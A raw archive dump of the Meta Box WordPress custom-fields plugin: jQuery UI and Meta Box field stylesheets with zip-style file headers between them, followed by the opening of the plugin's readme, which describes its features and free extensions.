.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }


/* Misc visuals
----------------------------------*/

/* Corner radius */
.ui-corner-all,
.ui-corner-top,
.ui-corner-left,
.ui-corner-tl {
	border-top-left-radius: 3px/*{cornerRadius}*/;
}
.ui-corner-all,
.ui-corner-top,
.ui-corner-right,
.ui-corner-tr {
	border-top-right-radius: 3px/*{cornerRadius}*/;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-left,
.ui-corner-bl {
	border-bottom-left-radius: 3px/*{cornerRadius}*/;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-right,
.ui-corner-br {
	border-bottom-right-radius: 3px/*{cornerRadius}*/;
}

/* Overlays */
.ui-widget-overlay {
	background: #aaaaaa/*{bgColorOverlay}*/ /*{bgImgUrlOverlay}*/ /*{bgOverlayXPos}*/ /*{bgOverlayYPos}*/ /*{bgOverlayRepeat}*/;
	opacity: .3/*{opacityOverlay}*/;
	-ms-filter: "alpha(opacity=30)"/*{opacityFilterOverlay}*/; /* support: IE8 */
}
.ui-widget-shadow {
	-webkit-box-shadow: 0/*{offsetLeftShadow}*/ 0/*{offsetTopShadow}*/ 5px/*{thicknessShadow}*/ #666666/*{bgColorShadow}*/;
	box-shadow: 0/*{offsetLeftShadow}*/ 0/*{offsetTopShadow}*/ 5px/*{thicknessShadow}*/ #666666/*{bgColorShadow}*/;
}PK     0w\y    2  dashboard/lib/meta-box/css/jqueryui/datepicker.cssnu [        /*!
 * jQuery UI Datepicker 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/datepicker/#theming
 */
.ui-datepicker {
	width: 17em;
	padding: .2em .2em 0;
	display: none;
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
	padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 2px;
	width: 1.8em;
	height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
	top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
	left: 2px;
}
.ui-datepicker .ui-datepicker-next {
	right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
	display: block;
	position: absolute;
	left: 50%;
	margin-left: -8px;
	top: 50%;
	margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	line-height: 1.8em;
	text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
	font-size: 1em;
	margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%;
}
.ui-datepicker table {
	width: 100%;
	font-size: .9em;
	border-collapse: collapse;
	margin: 0 0 .4em;
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0;
}
.ui-datepicker td {
	border: 0;
	padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: right;
	text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left;
}

/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
	width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left;
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0;
}

/* RTL support */
.ui-datepicker-rtl {
	direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
	right: 1px;
	left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
	left: 1px;
	right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px;
}

/* Icons */
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em;
}PK     0w\r|,  ,  ,  dashboard/lib/meta-box/css/jqueryui/core.cssnu [        /*!
 * jQuery UI CSS Framework 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	-ms-filter: "alpha(opacity=0)"; /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
	pointer-events: none;
}


/* Icons
----------------------------------*/
.ui-icon {
	display: inline-block;
	vertical-align: middle;
	margin-top: -.25em;
	position: relative;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}

.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block;
}

/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}PK     0w\am  m  F  dashboard/lib/meta-box/css/jqueryui/jquery-ui-timepicker-addon.min.cssnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */

.ui-timepicker-div .ui-widget-header{margin-bottom:8px}.ui-timepicker-div dl{text-align:left}.ui-timepicker-div dl dt{float:left;clear:left;padding:0 0 0 5px}.ui-timepicker-div dl dd{margin:0 10px 10px 40%}.ui-timepicker-div td{font-size:90%}.ui-tpicker-grid-label{background:0 0;border:0;margin:0;padding:0}.ui-timepicker-div .ui_tpicker_unit_hide{display:none}.ui-timepicker-div .ui_tpicker_time .ui_tpicker_time_input{background:0 0;color:inherit;border:0;outline:0;border-bottom:solid 1px #555;width:95%}.ui-timepicker-div .ui_tpicker_time .ui_tpicker_time_input:focus{border-bottom-color:#aaa}.ui-timepicker-rtl{direction:rtl}.ui-timepicker-rtl dl{text-align:right;padding:0 5px 0 0}.ui-timepicker-rtl dl dt{float:right;clear:right}.ui-timepicker-rtl dl dd{margin:0 40% 10px 10px}.ui-timepicker-div.ui-timepicker-oneLine{padding-right:2px}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_time,.ui-timepicker-div.ui-timepicker-oneLine dt{display:none}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_time_label{display:block;padding-top:2px}.ui-timepicker-div.ui-timepicker-oneLine dl{text-align:right}.ui-timepicker-div.ui-timepicker-oneLine dl dd,.ui-timepicker-div.ui-timepicker-oneLine dl dd>div{display:inline-block;margin:0}.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_minute:before,.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_second:before{content:':';display:inline-block}.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_millisec:before,.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_microsec:before{content:'.';display:inline-block}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_unit_hide,.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_unit_hide:before{display:none}PK     0w\s	N  N  .  dashboard/lib/meta-box/css/jqueryui/slider.cssnu [        /*!
 * jQuery UI Slider 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/slider/#theming
 */
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: pointer;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

/* support: IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit;
}

.ui-slider-horizontal {
	height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}PK     0w\t+x  x  +  dashboard/lib/meta-box/css/image-select.cssnu [        .rwmb-image-select {
	display: inline-block;
	width: 80px;
	height: 80px;
	float: left;
	margin: 0 10px 10px 0;
	border: 3px solid #d8d8d8;
	border-radius: 3px;
	padding: 1px;
}
.rwmb-image-select img {
	width: 100%;
	height: 100%;
}
.rwmb-image-select:hover,
.rwmb-image-select.rwmb-active {
	border-color: #0074a2;
}
.rwmb-image_select.rwmb-image_select {
	display: none;
}
PK     0w\F;j  j  $  dashboard/lib/meta-box/css/input.cssnu [        .rwmb-input-group {
	display: flex;
	align-items: stretch;
}
.rwmb-input-group-text {
	display: flex;
	align-items: center;
	padding: 0 8px;
	background: #f0f0f0;
	border: 1px solid #7e8993;
	border-radius: 4px;
	white-space: nowrap;
}
.rwmb-input-group-text:first-child,
.rwmb-input-group input:not(:last-child) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
.rwmb-input-group-text:last-child,
.rwmb-input-group input:not(:first-child) {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
.rwmb-input-group input {
	margin: 0;
}
.rwmb-input-group :not(:first-child) {
	margin-left: -1px;
}PK     0w\      (  dashboard/lib/meta-box/css/style-rtl.cssnu [        .rwmb-label, .rwmb-input{
	float: right;
}
label.error{
	padding-left: auto;
	padding-right: 3px;
}
.rwmb-button.remove-clone {
	right: auto;
	left: 0;
}
PK     0w\˳U 	  	  +  dashboard/lib/meta-box/css/button-group.cssnu [        .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #2271b1);
}

.rwmb-button-input-list .rwmb-button_group {
	display: none;
}
.rwmb-button-input-list label {
	display: block;
	border: 1px solid #8c8f94;
	position: relative;
	z-index: 1;
	padding: 5px 10px;
	background: #fff;
}
.rwmb-button-input-list .selected {
	border-color: var(--color);
	background: var(--color);
	color: #fff;
	z-index: 2;
}

/* Layout not inline */
.rwmb-button-input-list:not(.rwmb-inline) label:not(:first-child) {
	 border-top-width: 0;
}
.rwmb-button-input-list:not(.rwmb-inline) .selected:not(:last-child) {
	border-bottom-color: rgba(255, 255, 255, .25);
}
.rwmb-button-input-list:not(.rwmb-inline) > label:first-child:not(:last-child) {
	border-top-left-radius: 3px;
	border-top-right-radius: 3px;
}
.rwmb-button-input-list:not(.rwmb-inline)  > label:last-child:not(:first-child) {
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
}

/*  Layout inline */
.rwmb-button-input-list.rwmb-inline {
	display: flex;
}
.rwmb-button-input-list.rwmb-inline label:not(:first-child) {
	border-left-width: 0;
}
.rwmb-button-input-list.rwmb-inline .selected:not(:last-child) {
	border-right-color: rgba(255, 255, 255, .25);
}
.rwmb-button-input-list.rwmb-inline > label:first-child:not(:last-child) {
	border-top-left-radius: 3px;
	border-bottom-left-radius: 3px;
}
.rwmb-button-input-list.rwmb-inline > label:last-child:not(:first-child) {
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

/* Admin color schemes */
.admin-color-blue .rwmb-button-input-list  {
	--color: var(--wp-admin-theme-color, #e1a948);
}
.admin-color-coffee .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #c7a589);
}
.admin-color-ectoplasm .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #a3b745);
}
.admin-color-light .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #04a4cc);
}
.admin-color-midnight .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #e14d43);
}
.admin-color-modern .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #3858e9);
}
.admin-color-ocean .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #9ebaa0);
}
.admin-color-sunrise .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #dd823b);
}PK     0w\ao  o  )  dashboard/lib/meta-box/css/file-input.cssnu [        .rwmb-file-input-inner {
	width: 100%;
	display: flex;
	align-items: center;
	grid-gap: 4px;
}
.rwmb-file_input {
	margin: 0 4px 0 0;
}
.rwmb-file-input-inner .button {
	margin: 0;
}
.rwmb-file-input-image {
	width: 150px;
	height: auto;
	margin-bottom: 4px;
}
.rwmb-file-input-image img{
	max-width: 100%;
	height: auto;
}
.rwmb-file-input-hidden{
	display: none;
}
PK     0w\L*    (  dashboard/lib/meta-box/css/text-list.cssnu [        .rwmb-text_list-non-cloneable > .rwmb-input,
.rwmb-text_list-clone {
	display: flex;
	flex-wrap: wrap;
}
.rwmb-text_list-non-cloneable > .rwmb-input > label,
.rwmb-text_list-clone > label {
	margin: 0 10px 10px 0;
	flex: 1;
}
.rwmb-text_list-non-cloneable > .rwmb-input > label:last-child,
.rwmb-text_list-clone > label:last-child {
	margin-right: 0;
}

.rwmb-text-list-label {
	font-weight: 600;
	display: block;
	margin-bottom: 3px;
}
PK     0w\^#      #  dashboard/lib/meta-box/css/icon.cssnu [        .rwmb-icon-select {
    display: flex;
    align-items: center;
    gap: 8px;
}

.rwmb-icon-select i {
    width: 16px;
}

.rwmb-icon-select svg {
  width: 16px;
  height: 16px;
}PK     0w\7I    "  dashboard/lib/meta-box/css/osm.cssnu [        .rwmb-osm-canvas {
	width: 100%;
	height: 400px;
	margin-bottom: 10px;
}

/* Autocomplete style, copy from WordPress's common.css and forms.css */

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #5b9dd9;
	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: left;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #ddd;
}

.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}
PK     0w\n?2    &  dashboard/lib/meta-box/css/wysiwyg.cssnu [        .rwmb-field .mceIframeContainer {
	background: #fff;
}
.rwmb-wysiwyg-clone {
	padding-top: 20px;
}

/* Fix style for Gutenberg */
.block-editor .wp-editor-wrap {
	box-sizing: content-box;
}

/* Fix fullscreen mode still shows admin menu */
div.mce-fullscreen {
	z-index: 999999;
}PK     0w\s,9  9  $  dashboard/lib/meta-box/css/modal.cssnu [        .rwmb-modal-add-button {
	display: inline-block;
	margin-top: 6px;
}

body.rwmb-modal-show,
body.rwmb-modal-show .interface-interface-skeleton__sidebar {
	overflow: hidden;
}

/* Mimic style of media modal */
.rwmb-modal {
	position: fixed;
	top: 30px;
	left: 30px;
	right: 30px;
	bottom: 30px;
	z-index: 160000;
	overflow: hidden;
	display: none;
}

.rwmb-modal-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
	display: none;
}

.rwmb-modal-title {
	background: #f0f0f1;
	border-bottom: 1px solid #c3c4c7;
	position: relative;
}

.rwmb-modal-title h2 {
	font-size: 22px;
	line-height: 50px;
	padding: 0 20px;
	margin: 0;
}

.rwmb-modal-close {
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 50px;
	font-size: 22px;
	line-height: 50px;
	margin: 0;
	padding: 0;
	border: none;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out;
}
.rwmb-modal-close:hover,
.rwmb-modal-close:active {
	color: #135e96;
}PK     0w\aĉ\	  \	  %  dashboard/lib/meta-box/css/switch.cssnu [        .rwmb-switch-label {
	position: relative;
	display: inline-block;
	background-color: #ccc;
	padding: 2px;
	border-radius: 3px;
	min-width: 40px;
	height: 22px;
	box-sizing: border-box;

	--color: var(--wp-admin-theme-color, #2271b1);
}

.rwmb-switch.rwmb-switch {
	display: none;
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-slider {
	background-color: var(--color);
	box-shadow: 0 0 1px var(--color);
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-slider:before {
	left: calc(100% - 20px);
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-off {
	visibility: hidden;
	display: none;
}

.rwmb-switch:not(:checked) + .rwmb-switch-status .rwmb-switch-on {
	visibility: hidden;
	display: none;
}

.rwmb-switch-slider {
	position: absolute;
	cursor: pointer;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 15;
	transition: .4s;
}

.rwmb-switch-slider:before {
	position: absolute;
	content: attr(title-before) "";
	height: 18px;
	width: 18px;
	left: 2px;
	bottom: 2px;
	z-index: 99;
	background-color: white;
	transition: .4s;
	border-radius: 2px;
}

.rwmb-switch-label--square .rwmb-switch-slider {
	border-radius: 3px;
}

.rwmb-switch-label--rounded,
.rwmb-switch-label--rounded .rwmb-switch-slider {
	border-radius: 34px;
}

.rwmb-switch-label--rounded .rwmb-switch-slider:before {
	border-radius: 50%;
}

.rwmb-switch-on,
.rwmb-switch-off {
	display: inline-block;
	float: left;
	margin: 0 4px;
	color: #fff;
	text-transform: uppercase;
	font-size: 11px;
	position: relative;
	z-index: 20;
	line-height: 18px;
}

.rwmb-switch-on {
	padding-right: 20px;
}

.rwmb-switch-off {
	padding-left: 20px;
}

/* Admin color schemes */
.admin-color-blue .rwmb-switch-label  {
	--color: var(--wp-admin-theme-color, #e1a948);
}
.admin-color-coffee .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #c7a589);
}
.admin-color-ectoplasm .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #a3b745);
}
.admin-color-light .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #04a4cc);
}
.admin-color-midnight .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #e14d43);
}
.admin-color-modern .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #3858e9);
}
.admin-color-ocean .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #9ebaa0);
}
.admin-color-sunrise .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #dd823b);
}
PK     0w\e9      &  dashboard/lib/meta-box/css/heading.cssnu [        .rwmb-heading-wrapper {
	display: block;
}
.rwmb-heading-wrapper h4 {
	display: block;
	font-size: .75rem;
	line-height: 1.4;
	border-bottom: 1px solid rgb(230, 230, 230);
	text-transform: uppercase;
	padding: .75rem 0 .375rem;
	margin: 0 0 6px;
}
PK     0w\    %  dashboard/lib/meta-box/css/slider.cssnu [        .rwmb-slider-inner {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.rwmb-slider-ui {
	flex: 1;
}
.rwmb-slider-label {
	margin-left: 8px;
}

/* Fix slider handle being visible through jQuery panel */
.ui-slider .ui-slider-handle {
	z-index: 1;
}
PK     0w\X3D   D   +  dashboard/lib/meta-box/css/osm-frontend.cssnu [        img.leaflet-marker-icon {
	margin-left: -12px;
	margin-top: -41px;
}PK     0w\!  !  #  dashboard/lib/meta-box/css/file.cssnu [        .rwmb-files {
	margin: 0;
	overflow: hidden;
}
.rwmb-file {
	display: flex;
	align-items: flex-start;
	margin-bottom: 12px;
	cursor: move;
}
.rwmb-file-icon {
	width: 48px;
	height: 64px;
	margin-right: 8px;
	border: 1px solid rgba(0, 0, 0, .07);
	display: flex;
	align-items: center;
	justify-content: center;
}
.rwmb-file-icon img {
	max-width: 100%;
	max-height: 100%;
	height: auto;
	display: block;
}
.rwmb-file-title {
	font-weight: 600;
	text-decoration: none;
}
.rwmb-file-name {
	margin: 2px 0 6px;
	white-space: nowrap;
}
.rwmb-file-actions {
	font-size: 11px;
}
.rwmb-file-edit,
.rwmb-file-delete {
	color: inherit;
	text-decoration: none;
}
.rwmb-file-edit:after {
	content: "|";
	color: #dcdcde;
	margin: 0 6px;
}
.rwmb-file-delete {
	color: #b32d2e;
}
.rwmb-file-input {
	width: 100%;
}
PK     0w\f6  6  !  dashboard/lib/meta-box/readme.txtnu [        === Meta Box - WordPress Custom Fields Framework ===
Contributors: elightup, metabox, rilwis, f-j-kaiser, funkatronic, PerWiklander, ruanmer
Donate link: https://metabox.io/pricing/
Tags: custom fields, custom post types, post type, custom taxonomies, meta box
Requires at least: 5.9
Requires PHP: 7.0
Tested up to: 6.5.2
Stable tag: 5.9.7
License: GPLv2 or later

Meta Box plugin is a powerful, professional developer toolkit to create custom meta boxes and custom fields for your custom post types in WordPress.

== Description ==

**Meta Box is a powerful, professional, and lightweight toolkit for developers to create custom meta boxes and custom fields for any custom post type in WordPress.**

Meta Box helps you add [https://metabox.io/what-is-custom-fields-in-wordpress/](https://metabox.io) and details on your website such as pages, posts, custom post types, forms and anywhere you want using over 40 different field types such as text, images, file upload, checkboxes, and more.

On top of that, each WordPress custom field type has extensive internal options for unlimited content possibilities. Complete customization and control is just a few clicks away.

Adding WordPress custom fields and custom meta boxes for custom post types is quick and painless: Select the field types you want in the user-friendly [Online Generator](https://metabox.io/online-generator/), then copy and paste the code into your child theme's `functions.php` file.

**Boom! All the power with none of the bloat.**

There are also free and premium extensions available to add enhanced capabilities. You can manage the display and organization of your WordPress custom fields, the conditions upon which they appear, and become the ultimate WordPress data wizard.

You can also check out the [full list of extensions](https://metabox.io/plugins/) and [MetaBox.io](https://metabox.io) for details.

### Features

#### Create any type of metadata or custom fields in WordPress

That's right – any type. No matter where you need to insert custom data and features, Meta Box's WordPress custom fields have your back, and with infinite options to boot.

**Here are just a few of the data types you can customize:**

- Posts
- Pages
- Custom post types (you can also use our free plugin [MB Custom Post Types & Custom Taxonomies](https://metabox.io/plugins/custom-post-type/) to create custom post types and custom taxonomies)
- [Taxonomies](https://metabox.io/plugins/mb-term-meta/)
- [Settings pages or Customizer sections](https://metabox.io/plugins/mb-settings-page/)
- [User profile pages](https://metabox.io/plugins/mb-user-profile/)
- [Post comments](https://metabox.io/plugins/mb-comment-meta/)
- [And even more data types](https://docs.metabox.io/field-settings/) than Batman has tools on his utility belt.

#### A wide-range of field types and options

Take your standard WordPress custom field and imagine it infinitely expanded. That's how many options Meta Box gives you:

- Meta Box supports [40+ built-in WordPress custom field types](https://docs.metabox.io/field-settings/) for all your needs including text, textarea, WYSIWYG editor, image, file, post, select, checkbox, radio buttons, date/time picker, taxonomy, user, oembed and more to come.
- Not enough? You can also [effortlessly create your own field type](https://docs.metabox.io/custom-field-type/).
- Meta Box supports cloning fields for most field types including the WYSIWYG editor field. It also supports [repeatable field groups](https://metabox.io/plugins/meta-box-group/).

#### It's developer-friendly

As a developer, you have enough on your plate. You shouldn't have to create an entirely new system for each project. Use Meta Box to your full advantage.

You can use Meta Box and its custom fields for any custom post type in WordPress on as many websites as you want so you can use it on client projects as well.

- Has an ultra-lightweight, yet powerful API that won't overload your site.
- Add only what you need instead of getting stuck with a bundle of features you don't even want that bloat your site.
- Meta Box [easily integrates with any theme and plugin](https://docs.metabox.io/integration/), and supports Composer!
- We use the [native WordPress meta data storage](https://docs.metabox.io/database/) and functions for ease of use and lightning-fast processing.
- Has a lot of [actions](https://docs.metabox.io/category/actions/) and [filters](https://docs.metabox.io/category/filters/) so you can build or change a site's appearance and behavior in the plugin.

#### Don't love coding? You're in luck!

If you prefer a more visual system to create custom fields in WordPress, you can choose one or all of the extensions below:

- [MB Custom Post Types & Custom Taxonomies](https://wordpress.org/plugins/mb-custom-post-type/)
- [Meta Box Builder](https://metabox.io/plugins/meta-box-builder/)

These plugins have a ton of features to make quick work of any project:

- All the power of Meta Box without touching a single line of code.
- Designer-friendly, lightweight and work at top-notch speeds.
- Export your custom fields and settings to PHP. Then, add it to a new site without needing to install this extension for an incredibly lightweight option.

### Extensions

#### Free Extensions

- [MB ACF Migration](https://metabox.io/plugins/mb-acf-migration/): Migrate field groups and custom field data from Advanced Custom Fields (ACF) to Meta Box.
- [MB Comment Meta](https://metabox.io/plugins/mb-comment-meta/): Add WordPress custom fields to comments in WordPress.
- [MB Custom Post Types & Custom Taxonomies](https://metabox.io/plugins/custom-post-type/): Create and manage custom post types and taxonomies with UI.
- [MB Relationships](https://wordpress.org/plugins/mb-relationships/): Create as many connections as you want from post-to-post or page-to-page.
- [MB Rank Math](https://metabox.io/plugins/mb-rank-math/): Add content of custom fields to Rank Math Content Analysis to have better/correct SEO score.
- [MB Rest API](https://metabox.io/plugins/mb-rest-api/): Pull all meta values from posts and terms into the WP REST API responses.
- [MB Toolset Migration](https://metabox.io/plugins/mb-toolset-migration/): Migrate custom post types & taxonomies, field groups, custom field data, and relationships from Toolset to Meta Box.
- [Meta Box – Beaver Themer Integrator](https://metabox.io/plugins/meta-box-beaver-themer-integrator/): Integrates Meta Box and Beaver Themer to show custom fields on the frontend.
- [Meta Box – Elementor Integrator](https://metabox.io/plugins/mb-elementor-integrator/): Connect and display custom fields created by the Meta Box plugin in the Elementor's dynamic tags.
- [Meta Box – FacetWP Integrator](https://metabox.io/plugins/meta-box-facetwp-integrator/): Integrates Meta Box and FacetWP to make custom fields searchable and filterable.
